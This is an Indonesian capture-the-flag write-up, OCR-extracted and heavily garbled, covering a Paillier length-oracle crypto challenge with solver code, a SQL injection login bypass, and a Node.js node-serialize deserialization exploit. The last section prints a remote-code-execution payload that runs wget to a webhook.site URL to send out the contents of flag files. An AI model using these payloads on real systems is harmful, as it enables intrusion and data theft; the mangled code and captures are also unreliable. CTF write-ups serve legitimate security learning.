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CRYPTOGRAPHY

Decrypt Only

Flag:

Meta4Sec{someone_says_the_hardest_part_of making_ctf challenge_is_where_we_have_to_
make_the_flag_do_you_agree??_09a663d2}

Deskripsi

What you can do if you only can DECRYPT???

nc 157.230.243.4 5000

author: agoyy

**Note: (solve local first, if remote takes too long, you can dm admin)

Informasi Terkait Soal

server.py

from Crypto.Util.number import *
from Crypto.Random import random

from math import gcd

FLAG = open ("flag.txt", "rb").read()

def lcm(a, b):

return a // gcd(a,

class Homomorphic:

def init (self, bits=512):
self.p getPrime (bits)
self.g getPrime (bits)
self.n self.p * self.q
self.n2 = self.n * self.n
self.g = self.n + 1
self. lambda = lcm(self.p - 1, self.q - 1)

u = pow(self.g, self. lambda, self.n2)
Lu= (u-1) // self.n

self.mu = inverse(L u, self.n)

gen(self, num):

return list (map(int, bin (random.getrandbits (num)) [2:]))
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def encrypt(self, m):
r = random.randrange (self.n - 1) + 1
return (pow(self.g, m, self.n?2) * pow(r, self.n,
self.n2)) % self.n2

def decrypt(self, c):
u = pow(c, self. lambda, self.n2)
Lu= (u-1) // self.n
pt = (L u * self.mu) $ self.n
bin pt = list (map(int, bin(pt) [2:]))
key = self.gen(pt.bit length())
for i in range(len (key)):

A

bin pt[i] = key[i]

return ''.join(list (map(str, bin pt)))

def main () :
h = Homomorphic (bits=512)
int.from bytes (FLAG, 'big')
ct = h.encrypt (m)

print (f"N = {h.n}")
print (f"g = {h.g}l")
print (f"enc (flag) = {ct}")

while True:
c = int (input ("Ciphertext (in hex)
m h.decrypt (c)

print (m)

if name == " main ":

main ()

Pendekatan

def init (self, bits=512):
self.p getPrime (bits)
self.q getPrime (bits)
self.n self.p * self.q
self.n2 = self.n * self.n
self.g = self.n + 1
self. lambda = lcm(self.p - 1, self.g - 1)

u = pow(self.g, self. lambda, self.n2)
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Lu= (u-1) // self.n

self.mu = inverse(L u, self.n)

Dari sini kelihatan kalau ini cryptosystem Pailier. Cryptosystem Pailier sendiri ada sifat
dimana D(E(m1) *E(m2)) = (m1 + m2) mod n atau perkalian dua ct akan menghasilkan
penjumlahan kedua ptnya.

def gen(self, num) :

return list (map (int, bin (random.getrandbits (num)) [2:]))

def decrypt (self, c):
u = pow(c, self. lambda, self.n2)
Lu= (u-1) // self.n
pt = (L u * self.mu) % self.n
bin pt = list (map(int, bin(pt) [2:]))
key = self.gen(pt.bit length())
for i in range(len (key)) :

A

bin pt[i] = key[i]

return ''.join(list (map (str, bin pt)))

Disini saat decrypt dipanggil, dia XOR representasi biner dari pt dengan kunci random, dan
key yang dibuat baru tiap fungsi decrypt dipanggil. Tapi kalau kita lihat cara key dibuat,
panjang key sendiri ditentukan dari pt.bit_length(), dan string yang direturn panjangnya
sama dengan pt.bit_length(). Ini basically length oracle yang dimana kita bisa mengetahui
panjang bit dari pt apapun dari mengirim ctnya.

Kita bisa recover flag bit by bit dari sifat Pailier diatas, dari MSB ke LSB. Untuk setiap bit i
dari flag:

1. Kita buat sebuah ciphertext c_probe yang hasil dekripsinya bakal melompatin batas
pangkat dua (27 (i+1)) kalau bit ke-i dari flag == 1.
2. Kita kirim c_probe ke server dan periksa panjang responsnya:
a. Jika panjang respons ==i + 2, maka bit ke-i dari flag adalah 1.
b. Jika panjang respons <=+ 1, maka bit ke-i dari flag adalah 0.

Solusi

solver.py

from Crypto.Util.number import *

from pwn import *
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hostport = 'nc 157.230.243.4 5000
HOST = hostport.split () [1]
PORT = int (hostport.split () [2])

remote (HOST, PORT)

.recvuntil (b'N = '

)
= int(r.recvline () .strip())
)

.recvuntil (b'g =
= int(r.recvline () .strip())
.recvuntil (b'enc (flag) = ")

ct flag = int(r.recvline () .strip())

info (f"N = {N}")
info (f"g = {g}l")
info (f"enc = {ct flag}")

=N * N
known flag

for i in range(N.bit length() - 1, -1, -1):
guess = known flag + (1 << 1)
target val = 1 << (1 + 1)

o)

x = (target val - guess) % N

ct x = pow(g, X, n2)
c_probe = (ct flag * ct x) % n2
r.sendlineafter (b"Ciphertext (in hex)

hex (c_probe) .encode ())

response = r.recvline().strip/()
response len = len(response)
if response len == 1 + 2:
known flag += (1 << 1)
sys.stdout.write('1l")
else:
sys.stdout.write('0")

sys.stdout.flush ()

flag = long to bytes (known flag)
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success (flag)

r.interactive ()
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WEB

SQLI

Flag: Meta4Sec{JUST_SQL INJECTION_BLACKLIST}

Deskripsi
Hanya kerentanan sql injection dengan sedikit blacklist
Noted Ini Blackbox

LINK WEBSITE

author : zfernm

Informasi Terkait Soal

Diberikan suatu website yang memiliki login page

Jika memasukan random string pada form, maka akan muncul request seperti berikut

Request Response
Pretty Ra He RB@ w = Pretty He Render
POST / HTTP/1.1 HTTP/1.1l 200 QK
Host: 187.71.198.181:4001 D Sat, 1& A o1 GMT

Content-Length: 3
ae—Control: max-ag

-Langu

Origin: http

Content-Type

Upgrade-Insecure-Rec 1 Cc nection: F

User-Agent: I illa/5.0 (Windows NT 10.0; WingEd; x€4) AppleWebKit/537.36 Content-Type: text/html; charset=UTF-8
KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36

, max=100

/xhtml+xml,application/xml 0.9, image/avif, image/webp, i e d s
pplication/signed-exchange;v=b3,;q=0.7
198.181:4001/ .1
, deflate, br <html lang="en">»
<head>
<title>
debug=Ddusername=déipassword=désubmit= Login V1S
<ftitle>
<meta charset="UTF-9">
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Response
Pretty Raw Hex Render

POST / HTTP/1.1 HTTP/1.1 200 OK
Host: 167.71.1588.181:4001 Date: Sat, 1€ Aug 2025 14:5I2:05 GMT
Content-Length: 37 Server: Apache/Z.4.85 (Debian)
Cache-Control: max-age=| X-Powered-By: PHP/B.1.33
Accept-Language: en-US,en;q=0.9 Vary: Accept-Encoding
Origin: http://167.71.198.181:4001 Content-Length: 1382
Content-Type: application/x-www-form-urlenceoded Keep-Alive: timeout=5, max=100
Upgrade-Insecure-Requests: 1 Connecti Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; xE4) AppleWebK. Content-Type: text/html; charset=UTF-8
(KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.3
Accept:
text/html,application/xhtml+xml,application/xml;q=0.%, image/avif, inage/webp,i SELECT 1 FROM users WHERE username = ('l') AND password =
mage/apng, */*;q=0.8, application/signed-exchange ;w=b3;q=0.7 '§277e0510d750195b448757616e051ad"
Referer: http://167.71.198.181:4001/ </hl>
Accept-Encoding: gzip, deflate, br <br>
Connection: keep-alive <script>
alert("Maaf username dan password salah!");
debug=liusername=lipassword=disubmit= </script>
<IDOCTYPE html>
<html lang="en">
<head>
<title>
Login V18

Response

Pretty Raw Hex Render

POST / HTTP/1.1 HTTP/1.1 200 OK
Host: 1&7.71.198.181:4001 Date: Sat, 16 Aug 2025 14:51:57 GMT
Content-Length: 47 Serve Apache/Z.4.E5 (Debian)
Cache-Control: max-age=0 X-Powered-By: PHP/B.1.33
Accept-Language: en-US,en;q=0.9 Vary: Accept-Encoding
Origin: http://1lE67.71.198.181:4001 Content-Length: 1388
Content-Type: application/x-www-form-urlencoded Keep-Alive: timeout=5, max=100
Upgrade-Insecure-Requests: 1 Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x€4) AppleWebKit/537.36 Content-Type: text/html; charsec=UTF-8
(KHTML, like CGecko) Chrome/139.0.0.0 Safari/537.36
Accept: <hl>
text/html,application/xhtmltxml, application/xnl;q=0.9,inage/avif,inage/webp,i Debug: SELECT 1 FROM users WHERE username = ('d’') or 1f') AND password =
mage/apng,*/*;q=0.8,application/signed-exchange ;v=b3;q=0.7 '8277e0910d750195b448797616=091ad"
Referer: heep://167.71.198.181:4001/ </hl>
Accept-Encoding: gzip, deflate, br <br>

<hl>

MevadSec{JUST_SQL INJECTION_BLACKLIST}}

debug=lausername=d’') rr lfspassword=dssubmit= </hl>

<!DUCTYPE html>

<html lang="en">

<head>
<title>
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Anoda

Flag: Meta4Sec{ExplOit_Nod3_D35ER1LIZATION_BUG_FOR_RCE}

Deskripsi

Coba masuk ke dalam sistem deserialization
Noted Ini Blackbox

LINK WEBSITE

author : zfernm

Informasi Terkait Soal

Terdapat website yang sederhana dimana jika diakses langsung, akan membuat cookie
baru bernama title

== jnspector W = - X
Request Response
Q@ wn = B " = selection 32 (0x20 ~
Selected text

{IXMiJSh Max-Age=S00; Path=/;
nly eyJ0aXRsZSTEInR1YZhub2 ZhaXIxMid9

Decoded from: Base64 ®

{"title":"technofairi2"}

Request attributes 2 v
Kemudian cookie tersebut ter reflect di websitenya
Request Response
Pretty Raw Hex N a n = Pretty Raw Hex Render
GET / HTTP/1.1 HITP/1.1 200 OK
Host: 157.230.242.4:3000 ¥-Powered-By: Express
Cache-Control: max-age Content-Type: text/html; charset=utf-8
Accept-Language: en-US,en;q=0.2 Content-Length: 2
Upgrade-Insecure-Requests: 1 ETag: W/"1l7-fiibvG+icCOFHvjcIKFpchGgntM"
User-Agent zilla/5.0 (Windows NT 10.0; Winf4; xé4) AppleWebKit/537.3& Date: Sat, 1lé Aug 2025 15:02:17 GHMT
(FHTML, like G o) Chrome/139.0.0.0 Safari/537.36 Connection: keep-aliwve
Accept Feep-Alive: timeout=5
/html , application/xhtmltxnl, application/xml;q=0.9, image/avif, inage/webp,i
png,*/*;q=0.8 pplication/signed-exc ge;v=b3;q=0.7 Welcome to technofairlZl

1 one-Match:

Comnnection: kee

Pendekatan

Dari deskripsi soalnya, kamu mencari vulnerability yang terkait dengan insecure
deserialization pada Express. Dan kami menemukan artikel ini

https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Node/#m
ethodology
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node-serialize

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can
be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).

1. Generate a serialized payload

var y = {
rce @ function(){
require('child_p ) .exec('ls
stdout, stderr) { console.log(stdout) });
5
}
var serialize require('r N
console.log rial \n" + serialize.serialize(y));

2. Add bracket () to force the execution

{"rce":"_$SND_FUNC$S$_function(){require('child_process ‘ls /*, function(error,stdout, stderr) { co

3. Send the payload

Setelah kami coba menggunakan payload tersebut, namun tidak ada output sama sekali

Request Response
Pretty Ra He RE W = pretty Raw He Rende

GET / HITP/L.1 HITP/L.1 200 OK

Host: 157 243.4:3000
Contr: I ma: (']
cept-Language: en-US,en;q=0.9

ests: 1
illa/5.0 (Windows NT 10.0; W
©) Chrome/139.0.0.0 Safar

AppleWebKit/53

9,image/avif, image/webp, i

Kemudian kita mencoba pendekatan blind dimana kami menggunakan binary wget dan
ternyata mendapatkan pingback

blind.js

_SSND_FUNCSS_function(){require('child_process').exec('wget
https://webhook.site/875c06dd-618f-4d65-804f-0ae9810ac86a’,
function(error,stdout, stderr) { console.log(stdout) });}()

v Request Details & Headers

https://webhook site/875c06dd-618f-4d65-804f-0ae9810acB86a/?875c06dd-618f-4d65-804. .. user-agent Wget
157.230.243.4 Whois Shodan Netify Censys VirusTotal host webhook . site
08/16/2025 9:42-16 AM (12 hours ago)
0 bytes
0.000 sec
52e619d4-3a25-4e0c-99ce-c1ba2a8a0042

Note # Add Note

Query strings Form values

875c06dd-618f-4d65-804f- (empty) None
Oae9810ac86a

v Request Content
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Solusi

Untuk mendapatkan flag, kami menggunakan payload dibawah untuk membaca file
berawalan huruf f (Yang berarti flag.txt) dan dikirimkan ke webhook

solver.js

_SSND_FUNCSS_function(){require('child_process').exec('wget

https://webhook.site/875c06dd-618f-4d65-804f-0ae9810ac86a/? cat f* ',
function(error, stdout, stderr) { console.log(stdout) });}()

Hasil

v Request Details & Headers

https://webhook site/875c06dd-618f-4d65-804f-0ae9810ac86a/?Metad Sec{ExplOit_Nod3 ...
157.2308.243.4 Whois Shodan MNetify Censys VirusTotal
08/M16/2025 9:42:43 AM (12 hours ago)
0 bytes
0.000 sec
a08e6f16-bb60-4f12-90c7-94b32248500e
Note # Add Note

Query strings

MetadSec{ExplOit Nod3  (empty)
D35ER1ILIZATION BUG
FOR_RCE}
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